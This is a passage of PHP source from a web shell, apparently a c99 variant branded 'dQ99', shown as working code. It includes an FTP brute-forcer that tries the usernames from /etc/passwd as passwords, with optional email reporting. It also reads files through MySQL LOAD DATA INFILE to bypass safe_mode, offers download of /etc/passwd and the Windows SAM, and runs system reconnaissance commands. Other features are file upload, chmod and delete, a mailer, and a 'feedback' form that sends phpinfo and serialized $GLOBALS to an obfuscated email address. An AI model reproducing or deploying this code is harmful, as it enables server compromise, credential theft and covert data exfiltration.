989 while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
990 echo "</table>";
991 mysql_free_result($result);
992 }
993 if ($sql_act == "getfile")
994 {
995 $tmpdb = $sql_login."_tmpdb";
996 $select = mysql_select_db($tmpdb);
997 if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
998 if ($select)
999 {
1000 $created = FALSE;
1001 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
1002 mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
1003 $result = mysql_query("SELECT * FROM tmp_file;");
1004 if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
1005 else
1006 {
1007 for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
1008 $f = "";
1009 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
1010 if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
1011 else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
1012 mysql_free_result($result);
1013 mysql_query("DROP TABLE tmp_file;");
1014 }
1015 }
1016 mysql_drop_db($tmpdb);
1017 }
1018 }
1019 }
1020}
1021echo "</td></tr></table>\n";
1022if ($sql_sock) {
1023 $affected = @mysql_affected_rows($sql_sock);
1024 if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
1025 echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
1026}
1027echo "</table>\n";
1028}
1029//End of SQL Manager
1030if ($act == "ftpquickbrute") {
1031echo "<center><table><tr><td class=barheader colspan=2>";
1032echo ".: Ftp Quick Brute :.</td></tr>";
1033echo "<tr><td>";
1034if ($win) { echo "Can't run on Windows!"; }
1035else {
1036 function dQ99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
1037 if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
1038 else {$TRUE = TRUE;}
1039 if ($TRUE) {
1040 $sock = @ftp_connect($host,$port,$timeout);
1041 if (@ftp_login($sock,$login,$pass)) {
1042 echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
1043 ob_flush();
1044 return TRUE;
1045 }
1046 }
1047 }
1048 if (!empty($submit)) {
1049 if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
1050 $fp = fopen("/etc/passwd","r");
1051 if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
1052 else {
1053 if ($fqb_logging) {
1054 if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
1055 else {$fqb_logfp = FALSE;}
1056 $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
1057 if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1058 }
1059 ob_flush();
1060 $i = $success = 0;
1061 $ftpquick_st = getmicrotime();
1062 while(!feof($fp)) {
1063 $str = explode(":",fgets($fp,2048));
1064 if (dQ99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
1065 echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
1066 $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
1067 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1068 $success++;
1069 ob_flush();
1070 }
1071 if ($i > $fqb_lenght) {break;}
1072 $i++;
1073 }
1074 if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
1075 $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
1076 echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
1077 $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
1078 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1079 if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}
1080 fclose($fqb_logfp);
1081 }
1082 }
1083 else {
1084 $logfile = $tmpdir_logs."dQ99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
1085 $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
1086 echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\">".
1087 "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".
1088 "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".
1089 "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".
1090 "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
1091 "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
1092 "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
1093 }
1094 echo "</td></tr></table></center>";
1095}
1096}
1097if ($act == "d") {
1098 if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
1099 else {
1100 echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
1101 if (!$win) {
1102 echo "<tr><td><b>Owner/Group</b></td><td> ";
1103 $ow = posix_getpwuid(fileowner($d));
1104 $gr = posix_getgrgid(filegroup($d));
1105 $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
1106 }
1107 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
1108 }
1109}
1110if ($act == "phpinfo") {@ob_clean(); phpinfo(); dQ99shexit();}
1111if ($act == "security") {
1112 echo "<div class=barheader>.: Server Security Information :.</div>\n".
1113 "<table>\n".
1114 "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>\n";
1115 echo "<td>Password File</td><td>";
1116 if (!$win) {
1117 if ($nixpasswd) {
1118 if ($nixpasswd == 1) {$nixpasswd = 0;}
1119 echo "*nix /etc/passwd:<br>";
1120 if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
1121 if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
1122 echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>";
1123 $i = $nixpwd_s;
1124 while ($i < $nixpwd_e) {
1125 $uid = posix_getpwuid($i);
1126 if ($uid) {
1127 $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
1128 echo join(":",$uid)."<br>";
1129 }
1130 $i++;
1131 }
1132 }
1133 else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>Download /etc/passwd</b></a>";}
1134 }
1135 else {
1136 $v = $_SERVER["WINDIR"]."\repair\sam";
1137 if (!file_get_contents($v)) { echo "<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b></a>"; }
1138 }
1139 echo "</td></tr>\n";
1140 echo "<tr><td>Config Files</td><td>\n";
1141 if (!$win) {
1142 $v = array(
1143 array("User Domains","/etc/userdomains"),
1144 array("Cpanel Config","/var/cpanel/accounting.log"),
1145 array("Apache Config","/usr/local/apache/conf/httpd.conf"),
1146 array("Apache Config","/etc/httpd.conf"),
1147 array("Syslog Config","/etc/syslog.conf"),
1148 array("Message of The Day","/etc/motd"),
1149 array("Hosts","/etc/hosts")
1150 );
1151 $sep = "/";
1152 }
1153 else {
1154 $windir = $_SERVER["WINDIR"];
1155 $etcdir = $windir . "\system32\drivers\etc\\";
1156 $v = array(
1157 array("Hosts",$etcdir."hosts"),
1158 array("Local Network Map",$etcdir."networks"),
1159 array("LM Hosts",$etcdir."lmhosts.sam"),
1160 );
1161 $sep = "\\";
1162 }
1163 foreach ($v as $sec_arr) {
1164 $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
1165 $sec_d = rtrim($sec_arr[1],$sec_f);
1166 $sec_full = $sec_d.$sec_f;
1167 $sec_d = rtrim($sec_d,$sep);
1168 if (file_get_contents($sec_full)) {
1169 echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0]."</b></a> ] \n";
1170 }
1171 }
1172 echo "</td></tr>";
1173
1174 function displaysecinfo($name,$value) {
1175 if (!empty($value)) {
1176 echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>\n";
1177 }
1178 }
1179 if (!$win) {
1180 displaysecinfo("OS Version",dQ99exec("cat /proc/version"));
1181 displaysecinfo("Kernel Version",dQ99exec("sysctl -a | grep version"));
1182 displaysecinfo("Distrib Name",dQ99exec("cat /etc/issue.net"));
1183 displaysecinfo("Distrib Name (2)",dQ99exec("cat /etc/*-realise"));
1184 displaysecinfo("CPU Info",dQ99exec("cat /proc/cpuinfo"));
1185 displaysecinfo("RAM",dQ99exec("free -m"));
1186 displaysecinfo("HDD Space",dQ99exec("df -h"));
1187 displaysecinfo("List of Attributes",dQ99exec("lsattr -a"));
1188 displaysecinfo("Mount Options",dQ99exec("cat /etc/fstab"));
1189 displaysecinfo("lynx installed?",dQ99exec("which lynx"));
1190 displaysecinfo("links installed?",dQ99exec("which links"));
1191 displaysecinfo("GET installed?",dQ99exec("which GET"));
1192 displaysecinfo("Where is Apache?",dQ99exec("whereis apache"));
1193 displaysecinfo("Where is perl?",dQ99exec("whereis perl"));
1194 displaysecinfo("Locate proftpd.conf",dQ99exec("locate proftpd.conf"));
1195 displaysecinfo("Locate httpd.conf",dQ99exec("locate httpd.conf"));
1196 displaysecinfo("Locate my.conf",dQ99exec("locate my.conf"));
1197 displaysecinfo("Locate psybnc.conf",dQ99exec("locate psybnc.conf"));
1198 }
1199 else {
1200 displaysecinfo("OS Version",dQ99exec("ver"));
1201 displaysecinfo("Account Settings",dQ99exec("net accounts"));
1202 displaysecinfo("User Accounts",dQ99exec("net user"));
1203 }
1204 echo "</table>\n";
1205}
1206if ($act == "mkfile") {
1207 if ($mkfile != $d) {
1208 if ($overwrite == 0) {
1209 if (file_exists($mkfile)) { echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile); }
1210 }
1211 else {
1212 if (!fopen($mkfile,"w")) { echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile); }
1213 else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile); }
1214 }
1215 }
1216 else { echo "<div class=dQerrmsg>Enter filename!</div>\r\n"; }
1217}
1218if ($act == "encoder") {
1219echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>".
1220 "<form name=\"encoder\" action=\"".$surl."\" method=POST>".
1221 "<input type=hidden name=act value=encoder>".
1222 "<center><table class=contents>".
1223 "<tr><td colspan=4 class=barheader>.: Encoder :.</td>".
1224 "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".
1225 "<input type=submit value=\"calculate\"></td></tr>".
1226 "<tr><td rowspan=4>Hashes:</td>";
1227foreach(array("md5","crypt","sha1","crc32") as $v) {
1228 echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
1229}
1230echo "</tr>".
1231 "<tr><td rowspan=2>Url:</td>".
1232 "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
1233 "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".
1234 "<tr><td rowspan=2>Base64:</td>".
1235 "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
1236 "<tr><td>base64_decode:</td><td>";
1237if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";}
1238else {
1239 $debase64 = base64_decode($encoder_input);
1240 $debase64 = str_replace("\0","[0]",$debase64);
1241 $a = explode("\r\n",$debase64);
1242 $rows = count($a);
1243 $debase64 = htmlspecialchars($debase64);
1244 if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; }
1245 else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; }
1246 echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";
1247}
1248echo "</td></tr>".
1249 "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
1250$c = strlen($encoder_input);
1251for($i=0;$i<$c;$i++) {
1252 $hex = dechex(ord($encoder_input[$i]));
1253 if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
1254 elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
1255}
1256echo "\" readonly></td></tr></table></center></form>";
1257}
1258if ($act == "fsbuff") {
1259 $arr_copy = $sess_data["copy"];
1260 $arr_cut = $sess_data["cut"];
1261 $arr = array_merge($arr_copy,$arr_cut);
1262 if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
1263 else {
1264 $dQ_infohead = "File-System Buffer";
1265 $ls_arr = $arr;
1266 $disp_fullpath = TRUE;
1267 $act = "ls";
1268 }
1269}
1270if ($act == "selfremove") {
1271 if (($submit == $rndcode) and ($submit != "")) {
1272 if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".$sh_name."!"; dQ99shexit(); }
1273 else { echo "<center><b>Can't delete ".__FILE__."!</b></center>"; }
1274 }
1275 else {
1276 if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}
1277 $rnd = rand(0,9).rand(0,9).rand(0,9);
1278 echo "<form action=\"".$surl."\">\n".
1279 "<input type=hidden name=act value=selfremove>".
1280 "<input type=hidden name=rndcode value=\"".$rnd."\">".
1281 "<b>Kill-shell: ".__FILE__." <br>".
1282 "<b>Are you sure? For confirmation, enter \"".$rnd."\"</b>: <input type=text name=submit> <input type=submit value=\"YES\">\n".
1283 "</form>\n";
1284 }
1285}
1286if ($act == "update") {
1287 $ret = dQ99sh_getupdate(!!$confirmupdate);
1288 echo "<b>".$ret."</b>";
1289 if (stristr($ret,"new version")) {
1290 echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";
1291 }
1292}
1293if ($act == "feedback") {
1294 $suppmail = base64_decode("ZGhpZXF3ZWJtYXJrZXJAeWFob28uY29t");
1295 if (!empty($submit)){
1296 $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
1297 $body = $sh_name." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
1298 if (!empty($fdbk_ref)) {
1299 $tmp = @ob_get_contents();
1300 ob_clean();
1301 phpinfo();
1302 $phpinfo = base64_encode(ob_get_contents());
1303 ob_clean();
1304 echo $tmp;
1305 $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
1306 }
1307 mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail);
1308 echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
1309 }
1310 else {
1311 echo "<form action=\"".$surl."\" method=POST>".
1312 "<input type=hidden name=act value=feedback>".
1313 "<table class=contents><tr><td class=barheader colspan=2>".
1314 ".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :.</td></tr>".
1315 "<tr><td>Your name:</td><td><input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"></td</tr>".
1316 "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"></td></tr>".
1317 "<tr><td>Message:</td><td><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br>".
1318 "<input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked> Attach Server info (Recommended for bug-fix)<br>".
1319 "*Language: English, Indonesian.</td></tr>".
1320 "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
1321 "</table>\n";
1322 }
1323}
1324if ($act == "dQmailer") {
1325 if (!empty($submit)){
1326 $headers = 'To: '.$dest_email."\r\n";
1327 $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n";
1328 if (mail($suppmail,$sender_subj,$sender_body,$header)) {
1329 echo "<center><b>Email sent!</b></center>";
1330 }
1331 else { echo "<center><b>Can't send email!</b></center>"; }
1332 }
1333 else {
1334 echo "<form action=\"".$surl."\" method=POST>".
1335 "<input type=hidden name=act value=dQmailer>".
1336 "<table class=contents><tr><td class=barheader colspan=2>".
1337 ".: $sh_name Mailer :.</td></tr>".
1338 "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>".
1339 "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>".
1340 "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\" value=\"".htmlspecialchars($dest_email)."\"></td></tr>".
1341 "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>".
1342 "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80 rows=10>".htmlspecialchars($sender_body)."</textarea><br>".
1343 "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
1344 "</table>\n";
1345 }
1346}
1347if ($act == "search") {
1348 echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
1349 if (empty($search_in)) {$search_in = $d;}
1350 if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
1351 if (empty($search_text_wwo)) {$search_text_regexp = 0;}
1352 if (!empty($submit)) {
1353 $found = array();
1354 $found_d = 0;
1355 $found_f = 0;
1356 $search_i_f = 0;
1357 $search_i_d = 0;
1358 $a = array(
1359 "name"=>$search_name,
1360 "name_regexp"=>$search_name_regexp,
1361 "text"=>$search_text,
1362 "text_regexp"=>$search_text_regxp,
1363 "text_wwo"=>$search_text_wwo,
1364 "text_cs"=>$search_text_cs,
1365 "text_not"=>$search_text_not
1366 );
1367 $searchtime = getmicrotime();
1368 $in = array_unique(explode(";",$search_in));
1369 foreach($in as $v) {dQ99fsearch($v);}
1370 $searchtime = round(getmicrotime()-$searchtime,4);
1371 if (count($found) == 0) {echo "No files found!";}
1372 else {
1373 $ls_arr = $found;
1374 $disp_fullpath = TRUE;
1375 $act = "ls";
1376 }
1377 }
1378 echo "<table class=contents>".
1379 "<tr><td><form method=POST>".
1380 "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">".
1381 "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>".
1382 "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".
1383 "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
1384 "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression".
1385 " <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only".
1386 " <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive".
1387 " <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>".
1388 "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>".
1389 "</table>\n";
1390 if ($act == "ls") {
1391 $dspact = $act;
1392 echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
1393 "<hr size=\"1\" noshade>";
1394 }
1395}
1396if ($act == "chmod") {
1397 $mode = fileperms($d.$f);
1398 if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
1399 else {
1400 $form = TRUE;
1401 if ($chmod_submit) {
1402 $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
1403 if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; }
1404 else {$err = "Can't chmod to ".$octet.".";}
1405 }
1406 if ($form) {
1407 $perms = parse_perms($mode);
1408 echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
1409 }
1410 }
1411}
1412if ($act == "upload") {
1413 $uploadmess = "";
1414 $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
1415 if (empty($uploadpath)) {$uploadpath = $d;}
1416 elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
1417 if (!empty($submit)) {
1418 global $_FILES;
1419 $uploadfile = $_FILES["uploadfile"];
1420 if (!empty($uploadfile["tmp_name"])) {
1421 if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
1422 else {$destin = $userfilename;}
1423 if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
1424 $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
1425 }
1426 else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
1427 }
1428 else { echo "No file to upload!"; }
1429 }
1430 if ($miniform) {
1431 echo "<b>".$uploadmess."</b>";
1432 $act = "ls";
1433 }
1434 else {
1435 echo "<table><tr><td colspan=2 class=barheader>".
1436 ".: File Upload :.</td>".
1437 "<td colspan=2>".$uploadmess."</td></tr>".
1438 "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>".
1439 "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
1440 "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
1441 "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
1442 "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
1443 "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
1444 "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
1445 "</form></td></tr></table>";
1446 }
1447}
1448if ($act == "delete") {
1449 $delerr = "";
1450 foreach ($actbox as $v) {
1451 $result = FALSE;
1452 $result = fs_rmobj($v);
1453 if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."<br>"; }
1454 }
1455 if (!empty($delerr)) { echo "<b>Error deleting:</b><br>".$delerr; }
1456 $act = "ls";
1457}
1458if (!$usefsbuff) {
1459 if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {
1460 echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";
1461 }
1462}
1463else {
1464 if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); dQ99_sess_put($sess_data); $act = "ls"; }
1465 elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); dQ99_sess_put($sess_data); $act = "ls";}
1466 elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} dQ99_sess_put($sess_data); $act = "ls";}
1467 if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); dQ99_sess_put($sess_data);}
1468 elseif ($actpastebuff) {
1469 $psterr = "";
1470 foreach($sess_data["copy"] as $k=>$v) {
1471 $to = $d.basename($v);
1472 if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
1473 if ($copy_unset) {unset($sess_data["copy"][$k]);}
1474 }
1475 foreach($sess_data["cut"] as $k=>$v) {
1476 $to = $d.basename($v);
1477 if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
1478 unset($sess_data["cut"][$k]);
1479 }
1480 dQ99_sess_put($sess_data);
1481 if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
1482 $act = "ls";
1483 }
1484 elseif ($actarcbuff) {
1485 $arcerr = "";
1486 if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
1487 else {$ext = ".tar.gz";}
